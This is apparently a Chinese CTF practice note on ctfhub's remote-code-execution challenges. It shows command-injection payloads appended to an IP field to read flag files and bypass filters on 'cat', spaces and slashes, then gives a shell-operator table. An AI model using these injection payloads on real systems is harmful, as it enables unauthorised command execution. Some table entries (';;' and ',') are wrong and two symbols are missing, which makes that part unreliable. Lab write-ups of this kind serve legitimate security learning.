ctfhub-rce-部分做题记录
命令注入
检查网页显示内容,可以直接看到源代码。大致意思是:检查用户输入的 GET 请求,判断用户是否输入了 ip 信息。如果输入了 ip 信息,则使用用户输入的这个 ip 数据执行一个 shell 命令 "ping -c 4" 。
输入
127.0.0.1;cat 104211044913917.php
没回显,查看源代码
过滤cat
输入
127.0.0.1;ca${x}t flag_205251882328641.php
也可以
ip=127.0.0.1|cat%20312721736210240.php|base64
过滤空格
我们使用\({IFS}去绕过 IFS是shell的特殊环境变量,是linux下内部域分隔符。\)IFS中储存的值可以是空格、制表符、换行符或其它自定义符号
过滤目录分隔符
127.0.0.1;cd flag_is_here;cat flag_26299244834541.php
过滤运算符
管道符号
管道符号是一个可以连接多个命令的特殊符号。在 Unix 和 Linux 系统命令行中经常使用,通常用于将一个命令的输出作为另一个命令的输入,从而实现多个命令的协同工作。
常见的管道符号:
符号 描述
| 将一个命令的输出作为另一个命令的输入。
|| 在一个命令失败时执行另一个命令。
; 在同一行中运行多个命令。
;; 在同一行中运行多个命令,但只有在前一个命令成功时才会运行后一个命令。
, 按顺序执行多个命令,但只返回最后一个命令的结果。
&& 在一个命令成功时执行另一个命令。
< 将一个文件的内容作为输入传递给一个命令。
将一个命令的输出重定向到一个文件中。
将一个命令的输出追加到一个文件的末尾。